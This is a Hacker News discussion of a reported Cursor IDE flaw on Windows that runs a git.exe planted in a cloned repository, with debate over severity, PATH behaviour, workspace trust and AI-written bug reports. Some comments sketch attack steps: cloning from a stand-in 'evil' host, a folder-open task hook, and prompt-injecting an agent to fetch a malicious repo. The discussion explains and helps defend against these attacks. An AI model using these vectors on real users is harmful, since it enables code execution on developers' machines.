As someone who is on the other side, the amount of familiar, LLM generated reports are overwhelming and usually falls under "not familiar with product design/security scope" category. But there are also really good ones - so I can't afford to not take actual look at each, but it gets tiring and we need a solution. Spamming the former category with LLM generated "rationale" isn't that solution (yes I can tell this article is mostly LLM generated).<p>Unfortunately, this looks like the former case. If the software can execute arbitrary code/binary, and you place a malicious binary, that's up to you to secure/sandbox the workspace, not the software. Unless cursor commit themselves to securing the user environment, which I don't think they are in the business of.<p>If you are generating a CVE report with LLM, please use LLM responsibly in helping you reproduce deterministically. Then please do the write up yourself, keep it as concise as possible and strip most adjectives in any LLM generated sections as they cannot help themselves to write without mostly useless exaggerations.
Opening a freshly cloned repo in Cursor shouldn’t automatically execute a binary within that repo.
We're back to autorun.exe times
Let me introduce you to jetbrains, vscode and nearly every other IDE that relies on an LSP.<p>Edit: yes I get that there's a trust system, but I know a lot of people just trust everything in a directory.
VSCode at least prompts you to trust the project folder before running anything, otherwise it will use a globally installed LSP.
What repo-binary is executed for the LSP?
Both jetbrains and vscode ask you if you trust the project
> If the software can execute arbitrary code/binary, and you place a malicious binary, that's up to you to secure/sandbox the workspace, not the software.<p>What do you think PATH variables are for? Cursor just immediately adds the repo to your PATH, iiuc, without user approval.
> But there are also really good ones - so I can't afford to not take actual look at each, but it gets tiring and we need a solution.<p>There is not easy solution, the landscape has changed and if care about security, you just need to allocate more human resources. Another layer of LLM checks won't help.
The problem seems to be deeper rooted. Cursor doesn't see cloning a repo with Cursor and code execution as separate security boundaries.<p>Cursor ships with Workspace Trust disabled by default [0]. A repo that includes .vscode/tasks.json with "runOn": "folderOpen" will already run arbitrary code [1].<p>[0] <a href="https://cursor.com/docs/agent/security#workspace-trust" rel="nofollow">https://cursor.com/docs/agent/security#workspace-trust</a><p>[1] <a href="https://www.oasis.security/blog/cursor-security-flaw" rel="nofollow">https://www.oasis.security/blog/cursor-security-flaw</a>
> The vulnerability was first identified by Mindgard on December 15, 2025. We reported it the same day and multiple times since. More than six months and 197+ new versions later, the issue remains present in the latest tested version of Cursor.<p>> The report was initially closed as Informative and out of scope. After we challenged that determination, HackerOne reopened the report, reproduced the issue, and confirmed that the details had been delivered to Cursor. And then everything stopped. Requests for updates went unanswered, additional follow-ups received no response, escalation through HackerOne produced no meaningful engagement, and direct outreach to Cursor leadership yielded the same result: no response.<p>Really unfortunate. I don't understand why there's such a lack of response on the Cursor side.
The CVE process itself is broken. HackerOne and company VDPs are inundated with new reports of varying quality thanks to the advancements (I think) in agentic AI. It's allowed for both an increase in trash-tier low quality AND legitimately high quality reports. Since the same AI's are writing both, its almost impossible to distinguish between the two at a surface level.<p>In response, companies just aren't responding like they used to. I spoke at a cybersecurity conference In June and the overwhelming "vibe" on the floor and in the talks was that responsible disclosure was dead or dying, and public disclosure is the way forward. The Microsoft and Nightmare Eclipse situation was oft cited.
As someone on the company response side of the HackerOne brokenness, I can confirm that this effect is real but would also note that the difficulty of distinguishing is not as severe as all that, because the companies have access to the source code which the researchers do not typically have access to.<p>This means that the token cost of verifying any given HackerOne report is dramatically lower than the token cost of producing a report in the first place. Automated triage systems should be possible, and realistically it's well within the capabilities of most companies to go further and actually automate the Red Team side of it and catch issues before they surface in the black box research. From what I've seen doing so should cost dramatically less in tokens than the bounty payouts do.<p>The problem is that security is woefully underfunded in most companies, so even an infosec organization that saw the deluge approaching from a distance may well not have had the resources to prep for it even if they knew exactly what actions they would take if they had the capacity.
Do you have a tier based system for identifying high value reporters? Like a credit score for vulnerability hunters?
The token cost of a report is lower bounded by the number of tokens in the report * price per token of the cheapest model. The token cost of a good report is much higher, but sifting out the good reports is the entire problem.
In theory, yes, but are you actually seeing clearly-garbage lower-bound reports like this?<p>The ones we're seeing show clear evidence of being AI-generated, are often incorrect or duplicated, but they also show clear evidence of the AI having done its homework and spent a while crawling our API.<p>Even if we were getting reports at the lower bound you're describing, those would be even easier to triage: just add a quick step to check if the API in question even exists, then if it does that very cheap "where is this API" query becomes part of the input to the second-level triage that spends more tokens.
Should a company promoting the enterprise usability of AI, itself start with building a intake process to distinguish between the noise and signal for these reports. If you cant solve your own problems with your product then how do you expect the customers to be able to use it.
Not even that. Even before AI came along the widespread practice of CV-Enhancement was slowly strangling the reporting of actual legitimate, needs-to-be-fixed issues. When it turns into a giant shit-shovelling exercise it's not surprising that some of the shit doesn't get shovelled.<p>Not defending HackerOne, but pointing out that it's not a black-and-white issue.
> Really unfortunate. I don't understand why there's such a lack of response on the Cursor side.<p>It's hard to vibe code security.
Is it though? Cause you can have an agent analyze the reports to filter out the wheat from the chaff.
> It's hard to vibe code security.<p>Conversely, running human or LLM-generated code through multiple LLMs to look for security holes is a fantastic way to increase security.
> I don't understand why there's such a lack of response on the Cursor side.<p>Too busy being acquired by SpaceX?
[flagged]
It screams intentional to me.
Perhaps its a intentional back door?<p>NSA/FBI puts a git.exe in GitHub for a target. Target pulls the repo and it executes the payload.<p>As Cursor is/was based on VS Code, does it happen in VS Code too?
I'm not sure I fully agree with this being a major vuln. There's a lot of up front scary text which was raising a lot of red flags until it actually discussed the "what".<p>An actor has to place a malicious .exe in the user's code folder, named git.exe, for this to take place.<p>I see this akin to something like saying "replacing their .bashrc with an alias that says `ls` instead executes `/tmp/mega-big-virus.sh` is a vuln".<p>Yes it's a vector, but if they've placed something in your filesystem like that already, you've already been compromised.
The user's code folder? You mean the code I frequently pull from untrusted sources, unlike my .bashrc? Opening a GitHub project for review should not mean arbitrary code execution.<p>Of course, that ship has long sailed, for all major IDEs. Heck, VSCode SSH and devcontainer remotes allow RCE by design.
The entire point of Cursor is to run autonomous coding agents. You are giving it a random untrusted repo, saying "hey it might have a virus, go crazy" and then getting mad that it caused harm?<p>Check (and double check and triple check) your sources. If a malicious executable made it to your computer it is already too late.
? Doesn’t the code exec happen upon merely launching Cursor against a repository, without giving an agent any tasks? That’s clearly an issue at the Cursor application level, not some inevitable risk caused by the non-deterministic nature of LLMs. You can’t use the latter fact to excuse the former mistake<p>Not to mention that Cursor has an agent permissions model that this presumably sidesteps!
Different layers, different risks.<p>You do not expect an agent-level app to run untrusted binaries. You expect prompt injection, etc.<p>And I don't at all agree that a malicious executable landing in some directory is already game over. Plenty of zip files have malicious executables, it doesn't mean you say "oh, my zip extractor should just run every executable because if one's bad I'm already toast".
Ok, so you download the repo, launch Cursor, it compiles code and run it (if not, why do you even use Cursor at the first place?). Same effect.
Cursor is used for vibe coding. There are people who used Cursor to build a webapp where passwords are printed on the front page<p>So yeah, this is a major issue
I’ve never got my head around how it’s apparently the done thing these days to just copy a bash command from a website and run it (sometimes with sudo! O.o ) to install software. I somewhat naively hope that this is because everyone is pushing single purpose VMs for that kind of install, but really I know better.
> to just copy a bash command from a website and run it (sometimes with sudo! O.o ) to install software.<p>how is that different from the good old days of<p><pre><code> wget ftp://ftp.something.org/software-2.10.tar.gz
tar zxfv
./configure
make
sudo make install
?</code></pre>
Training people (esp. what passes for non-techies on Linux) to regularly copy-paste into the terminal is massively riskier than "click this URL". Just for starters, consider how easily you can make a web-page where you highlight X to copy it, but instead Y is delivered to your clipboard. Then on execute it could even redraw the terminal to pretend you pasted X all along.<p>Also, there's a convention or social-contract that everyone who downloads 2.10 <i>ought</i> to get precisely the same thing. This provides a foundation for other facets of security, like "it must have an expected hash" or "it must validate as signed by this public key". Also investigative actions like discovering <i>when</i> something suspicious got added, or detecting that the installer is trying to access the internet when it really shouldn't be.
Not much, and people also should not to do this. One should at least have a check of hash of the download vs some document signed with a key.<p>In any case, the curl|bash from a website is way worse as it leaves no trace. Here, you have an artifact, and multiple steps, so the probability that an issue can be detected is higher and when someone gets compromises one has a change to figure out what happened and warn others. (so good practice to copy the file somewhere else). People look at this only from purely "can I get compromised" perspective, but overlook this community aspect.
They’re both executing unknown code, but hopefully the ftp site here is at least a trusted one, and if you feel paranoid you can verify the archive’s hash to help verify it hasn’t been monkeyed with.<p>Also the archive probably won’t go and fetch a bunch of other scripts and run them (probably…) while doing so is usually the script’s primary purpose. So you’re not just trusting the people who published the script, at the time they published it. You’re trusting them and everyone they trust to <i>still</i> be good actors <i>now</i>.<p>That’s different to it being the standard way to install self-published bundles of scripts from all over the internet.
How is it different from downloading and running the application itself from that website?
The very first paragraph of text presented to the reader on the page start with:<p><pre><code> After loading a project, Cursor attempts to find git binaries
at various locations including the current workspace.
By creating a repository with a planted malicious git.exe
in the root, the IDE will execute it with no user interaction
and no prompting of the user.
</code></pre>
This is a remarkably straightforward 2 sentence explanation of the issue (the "what"). They're not exactly hiding it.
I am not at all a security expert, but isn't this akin to giving a repo-owner RCE if you just clone their repository and open it? I feel like that's not an implied contract for opening a folder in your IDE.
This is very similar to 30yo exploit in which you placed an alternative, infected dll inside a folder with mp3s (winamp), or photos (windows picture viewer).
It is a very obvious thing in UNIX world.
This should not happen, no matter if it's Cursor or VIM or whatever program you are using.
So, yes, it is a serious issue, and it's more of a Windows fuckup than Cursor itself. It's basic OS behaviour that's been fixed in UNIX for decades.
You want to run a program in the current folder, you write ./program, everyone know this.
Cloning a repo owns your computer. Is that something you expected?
This attack is exactly why IDE's have a concept of trusted and untrusted locations.
People are offloading a lot of responsibilities to tools. If you pull a repository from Github without doing due diligence then you can't blame Cursor for getting compromised
This doesn't require anyone placing anything deliberately on your machine (as in, needing to exploit it somehow ahead of time). It could be as simple as checking out a branch to review, where the author of the branch has added the .exe.
Bro thinks cloning a repo means you're already compromised
I agree, this isn't a vulnerability at all. Now that it's public, I'm not even sure I would do anything about it if I were them.
It's pretty weird for cursor to run arbitrary exe file without prompting, and alarming that the researchers did not get a proper response for months.<p>But the example with calculator is a bit misleading I think, you'll have to have a malicious exe already in the system and downloaded, and if cursor tried to run my understanding is that ACL should immediately kick in and you'll be asked for permission to run a new, unsigned app for the first time.<p>You'll have to have ACL disabled completely for this to be exploitable.
And what'll the prompt say? "Do you want to run git.exe?"? I'll probably assume Cursor needs to run git but permissions got messed up somewhere and click right through that.<p>I haven't used Windows in a while so pardon if I'm missing something.
Ostensibly you've ran git before and never saw something like that, seeing a security warning on running git should raise some eyebrows.
I'm not a windows developer or a ide developer, but I would check the hash against known good git.exe and then only run if it matches it.
Same thing happens if I have a:<p>1) PS1 that displays the current git branch<p>2) Include the current directory in my PATH<p>Should we file a high severity CVE with bash now?
It’s been known for decades that you should never put your current directory in your PATH. There are endless opportunities for vulnerabilities then. I learned this in college in the 80’s (by not following it and getting owned).
If bash placed the current directory in your PATH by default, then yes.
Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:<p><pre><code> > git clone git://evil evil
> cd evil\
> git status
</code></pre>
The last line would execute git.exe from the cloned repo, wouldn't it?
Not with bash. If your distro is putting ./ into the path then that's absolutely a high severity CVE with your distro's config.
I would file a CVE for any program that places untrusted content into PATH and invokes non-fully qualified executable names - not for the shell.
I think this is slightly less of a Cursor bug than a bit of a Windows quirk: Windows searches the current working directory for executables before resorting to the path variable. I imagine a lot of stuff is vulnerable to such an "attack" on Windows.
Stuff that cares about security fixes this, though:<p><a href="https://go.dev/blog/path-security" rel="nofollow">https://go.dev/blog/path-security</a><p><i>The functions Command and LookPath look for a program in the directories listed in the current path, following the conventions of the host operating system. Operating systems have for decades included the current directory in this search, sometimes implicitly and sometimes configured explicitly that way by default. Modern practice is that including the current directory is usually unexpected and often leads to security problems.</i><p><a href="https://pkg.go.dev/os/exec#hdr-Executables_in_the_current_directory" rel="nofollow">https://pkg.go.dev/os/exec#hdr-Executables_in_the_current_di...</a>
Yeah, but you can easily mitigate it by searching for the real git in known system locations and using whatever you find there (or allowing the user to configure the path). I believe that's how VSCode does it
Yes, but it's an old known security gotcha people developing for Wintendo have to guard against.
that sounds like Cursor has a bug and vuln on Windows to me
All too common... It's sad yet understandable how a company would not prioritize security.<p>At the same time, it's also understandable how a security start-up, upon (rightly) getting fed up waiting, decide to publicly disclose, as a way to scrape some PR out of the sunk cost. Public disclosure has a place. But if you truly care about helping, you could do more than bumping on HackerOne and messaging the CISO once on LinkedIn.<p>Maybe I'm too cynical but it truly feels like nobody actually cares at this point.
Given the fact that people frequently give their coding agents permission to pull and push from git, this is a massive vector for supply chain attack. Some cursor instance you left running on a project has an agent that wants to grab the latest project files, some attacker has compromised some project and put their exe into it and X00,000 of people are all of a sudden running random EXE as the primary user
Why is cursor subsequently executing anything? Like what is this black magic they want to do? I want to know the decision tree here? Was this cursor coded?<p>I do not understand the point, btw vim has had similar issues with it executing stuff you might not expect by loading a file but it was obviously a vim feature with %{expr}. But why specifically git.exe , this seems like the most redundant bug cve which could have been trivially patched, who does this feature help exactly?<p>I am not really a user of cursor never used it for even a single day, but at this point I am curious why this exists...
Here's a common workflow:<p>- Ask cursor to summarize your existing repo to write you a nice readme<p>- Cursor opens repo<p>- Cursor looks at current code<p>- Because it's going above and beyond, it also wants to give you some metadata about the code (other branches for things in development, maybe previous tags as milestones, etc)<p>- To do that, it runs some git commands<p>Now the malicious behavior. I ask Cursor to evaluate some remote repo. It clones it down and then runs the git command from the working directory. However, if you just call "git ..." from the command line there is ambiguity about that. What if there's already a git file in the directory which windows thinks you want to execute?<p>This could happen with an untrusted repo. Or could happen from you switching branches to a compromised branch (which you wouldn't expect to immediately run some code).<p>Normal way to handle this is using fully qualified path names for things. E.g. instead of git ... you give the full path to system installed git. Annoying for humans to type but trivial for Cursor.
Presumably it's trying to find the user's actual Git so that the built-in agent can load context on different branches, worktrees, etc. Of course there are less vulnerable ways to do that, but this kind of mildly justified hackiness is exactly where I'd expect an AI-assisted workflow to go wrong (and an AI-assisted bug triage to fail to alarm).
This report reads a bit like AI writing :/<p>You need to have an already malicious payload on your pc to make this exploit work (via clone/download/magic). I can understand the severity of the exploit but at the same time I’d hope to not have to run into this situation for it to happen in the first place
Modern day code agents would clone a repo and read the code when you ask it a question about an API that’s not clearly documented. This vulnerability is real.
This is exactly why every AI agent should run in a sandbox.
Don't think that would trigger the bug, it needs to be at the repo root when the user opens the agent CLI, it's not like the agent is calling another agent CLI process with the new repo root as its project root.
The malicious payload can live on the remote: `git clone` a repo, open it with cursor, and you're compromised
It's curious the number of people here who can't link these two things.
git clone a repo, cd into the directory, git checkout ..., and you're compromised
If your an opensource developer you may get a pull request containing the the git.exe
Uh, I don't think people typically associate downloading a repository, and viewing the source, as being synonymous with activating a malicious payload. <i>That</i> is the bit that's concerning.<p>I'm also so tired of people groaning about AI writing, yes, it's annoying, but attack the message, not the messenger.
>You need to have an already malicious payload on your pc to make this exploit work<p>Uh, no, not exactly from what I'm reading.<p>At least from my piss poor understanding of it, you could possibly prompt inject something like "download <a href="https://github.com/hackmycursor/exploit.git" rel="nofollow">https://github.com/hackmycursor/exploit.git</a>". Would an agent do this, I'm unsure, but if so, it would download the git.exe and execute it.
I think you’ve got it wrong; no malicious payload need be on your box already. That’s not what the article says.
wouldn't the attack vector be like this:<p>I find a github repo, I want to contribute to it. I clone it, open up cursor, make an edit, commit, and boom, I am infected.
From my reading, boom happens at "open up cursor".
You can leave out cursor and it would do the same thing.
you would only need to open it to be exploited, not edit or prompt. Allegedly
This draws to mind the dialog that opens when you open a new project in Cursor (and VSCode too, I think), where the IDE asks the user if they trust the project they're opening. Is Cursor under the impression that this is sufficient security apparatus?
Since there are no approval dialogs, it sounds like that doesn't even come into play here. That is the "gate" (to use the AI parlance) that Microsoft places on code execution in workspaces, though, and I would expect Cursor to at minimum fix this to only execute git.exe in trusted workspaces.
Startups historically are not the most security oriented
The 0 day vulnerability is actually a developer is using Windows
I'm struggling to understand the process that went into this "feature" existing. It seems the most likely candidate is a developer's git started malfunctioning and an agent "fixed" it by dropping a `git.exe` in the repo and then conditionally calling it when it exists.
>It seems the most likely candidate is a developer's git started malfunctioning and an agent "fixed" it by dropping a `git.exe` in the repo and then conditionally calling it when it exists.<p>It doesn't need to be that deliberate. The default shell on windows (cmd.exe) includes the current directory into PATH by default. In other words, you don't need to do `./program.exe`, `program.exe` would suffice. That's probably where the bug came from. This also means if you were using cmd.exe, ran `git clone`, went inside it, then executed any command (eg. dir or git) you could get pwned.
I doubt it. This is just normal Windows behavior. If you call out to a shell and have it run a
`git` command the system has to decide where the git binary is. A quirk of Windows is that first it searches the current directory for a `git` executable, and then it searches directories defined in PATH. If there's an executable git.exe in the current dir, that gets ran. I assume Cursor's behavior is the same across platforms but this is only a Windows vuln
because Windows picks binaries in the current directory before PATH.<p>A Windows
user purely using the CMD shell, not Cursor, that checked out a malicious repo, went to that repo, and then ran any `git` command in that repo could be hacked the same way.
and ever since, this approach has been a critical pathway for some billion dollar business probably. hooray
This is exactly why Unix PATH (and offspring) does not contain "." by default. If you unpack an untrusted archive and run "ls" you could get popped.<p>Agents should be no different.
I am not certain about Windows but on Linux, aren't applications supposed to use PATH based resolution provided by shell for this? Why go to the root of the project directory at all looking for binaries? Because it has been become their favorite place due to readme / skills etc being there?
There's discussion whether this is a vuln. While some responsibility should be on the user to already having downloaded a malicious binary, I think it's poor default behavior from cursor to run git from the repo root. Is it really a use case to have git.exe in a git repo — more like a red flag.
First grok cli and now this
Would be nice if the timeline matched up with the text of the blog post (missing "HackerOne provides disclosure guidance").
Isn’t this a Windows flaw where it effectively treats the current directory as the head of the path? (I remember the naïve olden days of people’s Unix Path starting with .) Or is Cursor going out of its way to execute a git.exe in the current directory?
damn those ai written Blogs are tiring. o a single paragraph saying that "cursor o windows loads ./git.exe with higher precedence" would be enough.
Has anyone tried to replicate this? I copied my calculator app and renamed it to git.exe, put it in a few repositories, openned cursor with those repositroies loaded, even prompted cursor to scan the repository, to which it said it saw the git.exe ("Accidental binary — delete it, don’t commit"), but nothing was executed to my knowledge
I mean… is our idea of repeatability really ready for subjective actions from LLMs?<p>We spent like ALL the years making sure computer would always give repeatable objective deterministic answers… then one day we’re nah fuck that I want a slot machine!!<p>With tightly coupled agents, how could you ever really prove that it is or isn’t a problem?<p>Try and fuzz I guess? But in a many billion parameter model that seems like you could never really be sure either.<p>One day the LLM could just decide, “oh, I’ll run this git.exe!”
Wouldn't this be something a virus scanner would detect and quarantine?<p>Not an active Windows user, but I can't imagine any sane person working on Windows OS without malware protection.
On Windows, if your shell was in a malicious repo's directory and you ran any "git" command, wouldn't the behavior be the same? Binaries in the current directory are considered before PATH. This seems like a broader issue.<p>That said, Cursor should at least have some "trust this directory?" dialogue.
Not in powershell, no, because . is not in PATH (unless you put it there).<p>If you tab-complete `git` it will resolve to `.\git.exe` but it you merely hit enter then it will search PATH and not the CD.
Clone a repo and run "npm install" and the exact same thing will happen. You can say "oh I would never run npm install on a repo I don't trust"...but then why are you cloning it and opening it in an IDE in the first place? <i>Especially</i> an IDE whose entire purpose is to run autonomous coding agents?
The difference is that I expect "npm install" to execute code, where I do not expect merely opening a repo to look at the files in Cursor to execute anything.
IDEs do syntax highlighting, typechecking, linting, automatic git refreshes. All of this happens in the background without you executing any code. If you open a Typescript project in VS Code and it automatically shows you a list of errors where do you think it got them from? It ran the tsc executable in your node_modules folder.
Visual Studio Code asks you if you trust the files in the folder you open, or at least it always has done for me. Presumably this stuff stops working if you don't?
I'm a Python dev so don't do much typescript, this sounds crazy too!
> syntax highlighting, typechecking, linting, automatic git refreshes<p>In most languages, none of those things involve execution of code in the repo. In languages that do - for example Elixir - it prompts you to trust them first.
Cursor is an editor. Why is it executing untrusted code when a folder is opened? Opening a folder is not equivalent to executing a script contained in the repo. How can you think that is ok?
Isn't this the oldest kind of vulnerabilities corrected on UNIX several decades ago?
The current directory is not in the PATH, period.
This is also a bug on Windows only, so to me this is more a Windows issue than a Cursor issue, unless there's some logic in Windows that is doing the same as UNIX has done for decades. Given the "fix" involves ACL and a complex workaround that's not really a fix, I stay in my position this is more a Windows fuckup than something particular to Cursor.
Uh, you're already beyond fucked if git.exe (or equivalent in *nix) is a hacked one and on your system. And similarly the same doomsday article does not exist for VSCode, Zed, GitKraken, and a billion other tools that run git without caring to ask..
> The most obvious question is also the simplest: Why hasn't this been fixed?<p>Obvious answer is obvious. The devs do not consider it a bug.
I guess this is only specific to a file in the root of the repo, so it doesn't allow for an NPM supply chain attack?
It has nothing to do with npm. However, a binary could be configured to extract your git/npm secrets using this exploit, which could then lead to a npm supply chain attack (or pip, etc. etc.).
Suspiciously the authors do not say if this works in restricted mode. This is not considered a vulnerability outside of restricted mode.
Does the git lookup run before the trust check, or ignore it?
Crazy that 7 hours after this post there's no one from the Cursor team saying anything here. This is HN, your highest leverage audience, Anysphere... no one is home?
Frankly, if you git clone a compromised repository, I'm not sure that a vulnerability of the class "compromised code in that repository will be executed" is all that major a concern. There are plenty of IDEs that will go autonomously run npm installs (with post-install scripts) for you when they detect a package.json. This isn't all that different than that.<p>They could throw up a warning like "do you trust this repository" oh wait they already do, and no one cares. Security is hard. Ultimately if you have compromised code on your machine, all bets are off.
A lot of malware was delivered back in the day via Windows AutoPlay feature. Someone plugs a USB drive in and bam, they are immediately exploited. You could say it's always a problem if the USB drive is already full of malware. However, Microsoft disabled AutoPlay in Windows 7 (and backported this fix) specifically to address this vulnerability.<p>This exploit feels very similar to me. I don't know if there's a specific name for this classification of AutoPlay issues.
They should definitely fix it, but that's mostly because its an "unnecessary autoplay" so to speak. There's plenty of "necessary autoplays" out there, and AI is going to add more and more every day, because that's where productivity comes from. But, why Cursor would ever need to execute the git binary in your project directory is beyond me; very clearly a bug.<p>Their ignorance of the bug report is also very clear and concerning negligence.<p>But I think simultaneously, the security team is making a mountain out of a molehill. This is a classic thing security teams love doing; everything is military defcon P0. So, its important to check them regularly, and remind them that the most secure system is no system; they are but one part of a greater ecosystem.
> Most coordinated disclosures follow a familiar pattern:<p>> 1. A vulnerability is reported.<p>> 2. A dialogue begins.<p>> 3. Severity is discussed.<p>> 4. Engineering teams investigate.<p>> 5. Fixes are developed.<p>> 6. Users are protected.<p>> 7. Public disclosure follows.<p>8. The author prompts an LLM to write a blog post.<p>9. HN users are wasting time, unsure which parts of the post come from the actual prompt, and which are hallucinated world knowledge slop.
this attack vector is part of the spec in all Java build systems.<p>you don't even need ai slop ide. Java Devs will happily execute your malicious maven/gradle/Grovy/whatever that you push to any public repo. bonus point ofy commit message is complaining about some build plugin version compatibility
> Until the IDE is patched, open untrusted repositories only in an isolated VM, Windows Sandbox, or other disposable environment.<p>Got to wonder why trusted repositories are excluded...
>This bug is simple. A developer opens a repository in Cursor on Windows, and if that repository contains a malicious git.exe in the project root,<p>A vuln that requires an existing malicious executable to have already been downloaded and have it executable bit set to true? Doesn't sound like a vuln<p>>The vulnerability was first identified by Mindgard on December 15, 2025. We reported it the same day and multiple times since. More than six months and 197+ new versions later, the issue remains present in the latest tested version of Cursor.<p>It's probably 3 factors:<p>- Lots of bounty begs powered by vibecoding. This gets lost in the noise (like this report)<p>- Cursor is itself vibecoded so they ship features faster than they care to fix issues.<p>- don't know if it's me or the way Mindgard is putting this, but it's presented as a critical bug, and upon reading it, it's very hard to see the subtle low priority security issue.<p>Here's a rough unbiased summary of the 'issue':<p>Cursor loads the 'git' dependency at runtime. If the user has downloaded a malicious repository, they will get pwned when they open cursor even if they don't run any prompts.<p>The author seems to suggest that either git should be looked for in the 'proper dependency' folder to mitigate this risk. This would mean that attackers would pwn the victim when a the user opens cursor and runs 1 prompt that executes a vulnerable file called runme.exe instead of being pwned just by the user opening cursor on the malicious repo.
[dead]
[flagged]
[dead]
Why do you guys write essays to justify doing the leak<p>Have you all drunk too much psyop koolaid?<p>Three things are obvious:<p>1 - “Responsible disclosure” by a unilaterally proscribed process only benefits an abuser<p>2 - The abuser sets a price for the disclosure that is arbitrary and parallel to its market value, the attractiveness is based solely on your <i>vulnerability</i> to how much the abuser can abuse you with the state<p>3 - The vulnerability’s continued existence isn't necessarily a breakdown of disclosure processes, it could literally be malice. congratulations you found the honeypot, it wont be confirmed by the state for 70 years